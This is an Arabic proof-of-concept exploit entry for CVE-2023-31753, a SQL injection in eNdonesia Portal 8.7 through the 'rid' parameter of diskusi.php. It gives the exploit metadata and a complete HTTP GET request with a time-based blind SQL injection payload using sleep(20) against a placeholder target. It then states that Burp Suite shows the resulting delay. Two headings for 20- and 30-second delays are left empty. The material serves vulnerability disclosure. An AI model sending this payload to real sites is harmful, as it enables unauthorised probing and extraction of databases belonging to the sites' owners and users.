إثبات المفهوم لـ CVE-2023-31753

الوصف: تم اكتشاف ثغرة حقن SQL في eNdonesia Portal الإصدار 8.7 يتم استغلالها عند إدخال حمولة مُصمَّمة في معامل "rid" في ملف diskusi.php.

• عنوان الاستغلال: eNdonesia Portal 8.7 - ثغرة حقن SQL في diskusi.php (معامل rid)
• التاريخ: 19 مايو 2023
• مؤلف الاستغلال: Kunal Khubchandani
• الصفحة الرئيسية للمطور: http://www.endonesia.org/
• رابط البرنامج: https://sourceforge.net/projects/endonesia/
• الإصدار: 8.7
• الفئة: تطبيقات ويب
• تم اختباره على: WiN11_x64/KaLiLinuX_x64
• CVE : CVE-2023-31753

#إثبات المفهوم:

1. لاستغلال هذه الثغرة، يجب إرسال حمولة SQLi sleep كقيمة لمعامل GET "rid" في طلب HTTP التالي.

2. الطلب القابل للاستغلال:

GET /endonesia.8.7.en/mod.php?mod=diskusi&op=delres&rid=(select*from(select(sleep(20)))a) HTTP/1.1
Host: TARGET
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Connection: close
Cache-Control: max-age=0

3. عند إرسال طلب HTTP أعلاه عبر Burp Suite، سيحصل المستخدم على استجابة بتأخير 20 ثانية.

** تأخير 20 ثانية:

** تأخير 30 ثانية: